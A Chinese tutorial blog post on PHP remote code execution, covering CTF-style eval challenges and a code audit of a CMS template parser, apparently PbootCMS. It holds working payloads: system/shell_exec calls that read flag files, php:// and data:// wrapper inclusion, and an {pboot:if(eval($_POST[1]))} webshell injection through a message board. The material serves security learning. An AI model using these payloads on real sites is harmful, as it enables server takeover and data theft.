解密RCE漏洞:原理剖析、复现与代码审计实战
在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。
本文将深入剖析RCE漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密RCE漏洞,提升我们的安全防护能力。
-
概念
- 远程代码执行(RCE)漏洞是一种严重的安全漏洞,它允许攻击者在目标系统上远程执行任意代码。通过利用RCE漏洞,攻击者可以完全控制受害系统,执行恶意操作,如窃取敏感数据、安装恶意软件、破坏系统功能等。RCE漏洞通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使系统执行,从而达到控制目标系统的目的。这类漏洞的利用不仅对系统安全构成重大威胁,而且可能导致严重的经济损失和数据泄露,因此识别和修复RCE漏洞对确保系统安全至关重要。
-
利用函数
-
复现
-
基本使用
-
源码
<?php error_reporting(0); //排除错误 if(isset($_GET['c'])){ //get传参不为空,执行if语句$c = $_GET['c']; //get传参,赋值给变量cif(!preg_match("/flag/i", $c)){ //过滤flageval($c); //执行c表达式}}else{highlight_file(__FILE__); }payload: ?c=system('tac fla*.php'); ?c=echo shell_exec('tac fla*'); ?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
-
-
参数逃逸
-
源码
<?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__); } ?> payload: ?c=eval($_GET[1]);&1=phpinfo(); -

-
-
伪协议
-
源码同上
payload: ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?>payload2 get:?c=include$_GET[a]?>&a=php://input post:<?php system('tac flag.php');?>payload3 ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php -

-

-

-
-
代码审计
-
靶场搭建
- 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
- 下载靶场,在config.php文件中填入授权码,安装靶场
- 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
-
流程
-
导入文件,搜索常用的命令执行函数eval
-
看到eval的来源变量matches
-
本文搜索matches的数据来源,来源于parserSiteLabel函数
-
全局搜索parserSiteLabel函数,看到parserCommom函数
-
全局搜索parserCommom函数,到达AboutController.php
- 名称与网站对应关系

-
有前端与后端结合可知,前端的留言板是在AboutController.php上的
-
好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过
-
代码
public function parserIfLabel($content){$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';// 对于无参数函数不执行解析工作if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {continue;}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在elseswitch ($flag) {case 'if': // 条件为真if (isset($matches2[1])) {$out_html = $matches2[1];}break;case 'else': // 条件为假if (isset($matches2[2])) {$out_html = $matches2[2];}break;}} elseif ($flag == 'if') {$out_html = $matches[2][$i];}// 无限极嵌套解析if (preg_match($pattern2, $out_html, $matches3)) {$out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);$out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);$out_html = $this->parserIfLabel($out_html);}// 执行替换$content = str_replace($matches[0][$i], $out_html, $content);}} payload: 留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}payload2: 留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo(); //记得要在后台把状态打开,不然无回显,头疼!!!! -

-

-
-
通过本次学习,我们不仅深入了解了RCE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对RCE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。
在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!
相关文章:
解密RCE漏洞:原理剖析、复现与代码审计实战
在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技…...
打造智能家居:用React、Node.js和WebSocket构建ESP32设备控制面板(代码说明)
一、项目概述 在物联网(IoT)时代,智能设备的远程控制变得越来越重要。本文介绍了一个构建智能设备控制面板的项目,允许用户通过 Web 应用来控制多个 ESP32 设备。用户可以通过该面板查看设备列表,实时了解设备状态&am…...
计网:从输入URL到网页显示期间发生了什么
1、URL包含的信息 我们输入的url中包含着一些信息: http:表示的此次我们使用的什么协议/www.baidu.com:表示的是我们想要访问的服务器名称,也就是域名dir3/home.html:表示我们所要访问的资源 2、通过DNS解析URL获得I…...
龚宇引以为傲的“爆款制造营”,爱奇艺怕是要爽约了
文:互联网江湖 作者:刘致呈 人们经常用人红戏不红,来形容毯星,综艺上咋咋呼呼,一提都知道,可问及代表作,不好意思,这个真没有。 今年的爱奇艺,貌似也迎来了这一宿命。 …...
org.springframework.web.client.HttpClientErrorException$NotFound异常
springCloud报错信息:org.springframework.web.client.HttpClientErrorException$NotFound: 404 null第一点: 第二点:没有httpclient工具类 注入RestTmeplate类时,改类需要RestController或ResponseBody...
在开关电源转换器中充分利用碳化硅器件的性能优势
在过去的几十年中,半导体行业已经采取了许多措施来改善基于硅 MOSFET (parasitic parameters),以满足开关转换器(开关电源)设计人员的需求。行业效率標準以及市场对效率技术需求的双重作用,导致了对于可用于构建更高效…...
QObject::connect: Cannot queue arguments of type ‘QList<QString>‘
QObject::connect: Cannot queue arguments of type ‘QList’ QObject::connect: Cannot queue arguments of type QList<QString> (Make sure QList<QString> is registered using qRegisterMetaType().)使用信号和槽时,QList无法当做参数被传递&…...
基于K8S部署安装Jenkins
基于K8S部署安装Jenkins 1.Jenkins Kubernetes 清单文件2.Kubernetes Jenkins 部署1:为 Jenkins 创建 Namespace。 最好将所有DevOps工具分类为与其他应用程序分开的命名空间。2:创建“serviceAccount.yaml”文件并复制以下管理员服务帐户清单。1. kubec…...
24-8-4-读书笔记(十三)-《莎士比亚全集》(第一卷(续)) [英] 威廉·莎士比亚 [译]朱生豪
文章目录 《莎士比亚全集》(第一卷(续))目录阅读笔记记录总结《莎士比亚全集》(第一卷(续)) 《莎士比亚全集》朱生豪的经典译本,非常值得花时间去读一读,莎氏的巨作有其独特的韵味,与莫里哀、契诃夫、曹禺等其他国家的剧作家有其鲜明的特点,这既是源于其所处的时代…...
linux nicstat
nicstat 是一个用于监控和报告网络接口统计信息的工具。它可以提供关于网络接口的详细性能数据,包括传输速率、错误率、丢包率等。nicstat 对于诊断网络性能问题和优化网络配置非常有用。 安装 nicstat nicstat 可能不在所有Linux发行版的默认软件库中,…...
程序员如何积累人脉?光靠技术不行了~
从事技术的人,还没被社会“塑造”前,总会有一个“固有思维”,就是这个世界大概率是“由代码和逻辑主宰的世界”,人脉积累并不在考虑范围内,而我们也常被误解为只懂得与机器对话的technician。 事实上,游戏…...
初识增强现实(AR)
初识增强现实(AR) 笔记来源: 1.2023年中国增强现实(AR)行业研究报告 2.wiki/Augmented reality 3.In-Depth Review of Augmented Reality: Tracking Technologies, Development Tools, AR Displays, Collaborative AR…...
开关电源起振是什么看了就知道
接触开关电源的朋友都知道,含有电源管理芯片的开关电源有输入,没输出时常说是不是电路没起振,到底这句话是什么意思呢?什么是“起振”先不做 的解释,简单打个比方,大家就容易懂了,就好像抢救心…...
Modbus_Ascii协议
设备必须要有RTU协议!这是Modbus协议上规定的,且默认模式必须是RTU,ASCII作为选项。(也就是说,一般的设备只有RTU这个协议,ASCII一般很少)所以说,一般学习Modbus协议,只需…...
树莓派在功能和成本之间的 “惊人平衡 “支持了全球数字标牌的成功故事!
树莓派的“功能和成本之间的惊人平衡”支撑全球数字标牌成功故事 数字标牌已经成为一个数十亿美元的行业。Yodeck很快预测到了其中的潜力:他们需要硬件来支持他们可靠、具有成本效益和易于管理的服务,而不会影响性能。事实证明,树莓派 4 证明…...
C++ 学习记录
文章目录 继承重载和重写区别重载重写 参考文献 继承 继承顾名思义就是对长辈本有的东西进行获取与使用,即两个以及两个类以上的关系在获取与使用时会存在一些情况: public:长辈对外公开的自身所有物,最终都会是后代的protected&…...
C#中的TCP和UDP
TcpClient TCP客户端 UDP客户端 tcp和udp的区别 TCP(传输控制协议)和UDP(用户数据报协议)是两种在网络通信中常用的传输层协议,它们在C#或任何其他编程语言中都具有相似的特性。下面是TCP和UDP的主要区别:…...
Spring中使用嵌套事务及事务保存点
嵌套事务及事务保存点 Spring中的嵌套事务与事务保存点1. 什么是嵌套事务?2. 为什么使用嵌套事务?3. 如何在Spring中使用嵌套事务?4. 使用事务保存点5. 总结 Spring框架提供了强大的事务管理功能,包括对嵌套事务的支持。在Spring中…...
SFT、RLHF、DPO、IFT —— LLM 微调的进化之路
TL;DR • SFT、RLHF 和 DPO 都是先估计 LLMs 本身的偏好,再与人类的偏好进行对齐; • SFT 只通过 LLMs 生成的下一个单词进行估计,而 RLHF 和 DPO 通过 LLMs 生成的完整句子进行估计,显然后者的估计会更准确; • 虽然…...
【数据结构】LinkedList与链表
目录 链表 1、链表的概念及结构 2、LinkedList的使用 2、1什么是LinkedList 2、2LinkedList的使用 3、LinkedList的遍历 4、LinkedList的模拟实现 5、ArrayList和LinkedList的区别 上篇已经熟悉了ArrayList的使用,ArrayList底层使用数组来存储元素。由于其底层…...
零代码构建智能安防平台:WVP-GB28181-Pro的5个技术突破
零代码构建智能安防平台:WVP-GB28181-Pro的5个技术突破 【免费下载链接】wvp-GB28181-pro 基于GB28181-2016、部标808、部标1078标准实现的开箱即用的网络视频平台。自带管理页面,支持NAT穿透,支持海康、大华、宇视等品牌的IPC、NVR接入。支持…...
Linux内核核心机制与开发实践详解
1. Linux内核概述与预备知识Linux内核作为操作系统的核心组件,承担着管理硬件资源、提供系统服务的关键角色。要深入理解Linux内核,需要具备以下基础知识储备:C语言能力:内核代码90%以上由C语言编写,需掌握指针操作、内…...
Proteus仿真跑通了,实物电路为啥不亮?C51单片机驱动LED的5个硬件避坑指南
Proteus仿真成功但实物电路不亮?C51单片机驱动LED的5个硬件避坑指南 当你第一次在Proteus中看到LED按照预期闪烁时,那种成就感难以言表。然而,这种喜悦往往在转向实物搭建时戛然而止——电路板上的LED要么纹丝不动,要么常亮不灭&a…...
AA-PEG-VE,AA-PEG-Vitamin E,用于修饰蛋白质、多肽以及其他含有氨基的材料
一.名称英文名:AA-PEG-VE,AA-PEG-Vitamin E,Acetic Acid-PEG-VE,Acetic Acid-PEG-Vitamin E,Vitamin E-PEG-AA中文名:乙酸聚乙二醇维生素E,乙酸-PEG-维生素E,维生素E-PEG-乙酸分子量…...
毫米波雷达开发者必看:双级联方案如何用DDMA波形实现300米精准测距?
毫米波雷达双级联方案实战:DDMA波形设计如何突破300米测距极限? 当特斯拉HW4.0的雷达模块在暴雨中依然稳定输出300米外的障碍物坐标时,背后的技术密码正是双级联架构与DDMA波形的完美融合。作为L3级自动驾驶系统的"全天候之眼"&am…...
5分钟掌握Fideo:终极免费直播录制软件使用指南
5分钟掌握Fideo:终极免费直播录制软件使用指南 【免费下载链接】fideo-live-record A convenient live broadcast recording software! Supports Tiktok, Youtube, Twitch, Bilibili, Bigo!(一款方便的直播录制软件! 支持tiktok, youtube, twitch, 抖音,…...
芯片设计Signoff前必看!数字后端工程师的5大验证避坑清单(含CTS实战案例)
芯片设计Signoff前必看!数字后端工程师的5大验证避坑清单(含CTS实战案例) 在数字后端设计的最后冲刺阶段,每个工程师都经历过那种如履薄冰的体验——明明所有检查项都已通过,却在流片前夜发现某个角落的时序违例。这种…...
STEP3-VL-10B开源大模型部署:从HuggingFace下载到CSDN算力上线全过程
STEP3-VL-10B开源大模型部署:从HuggingFace下载到CSDN算力上线全过程 想体验一个能看懂图片、理解图表、甚至帮你分析复杂文档的AI助手吗?今天要介绍的STEP3-VL-10B,就是一个让你用普通显卡就能跑起来的“多面手”AI模型。 你可能听说过那些…...
7个突破瓶颈技巧:开源字体高效应用指南
7个突破瓶颈技巧:开源字体高效应用指南 【免费下载链接】source-han-serif-ttf Source Han Serif TTF 项目地址: https://gitcode.com/gh_mirrors/so/source-han-serif-ttf 在数字设计与开发领域,选择合适的字体常常让创作者陷入两难——商业字体…...
Cockpit CMS终极扩展开发指南:7步创建自定义字段类型与组件
Cockpit CMS终极扩展开发指南:7步创建自定义字段类型与组件 【免费下载链接】cockpit Add content management functionality to any site - plug & play / headless / api-first CMS 项目地址: https://gitcode.com/gh_mirrors/coc/cockpit Cockpit CMS…...





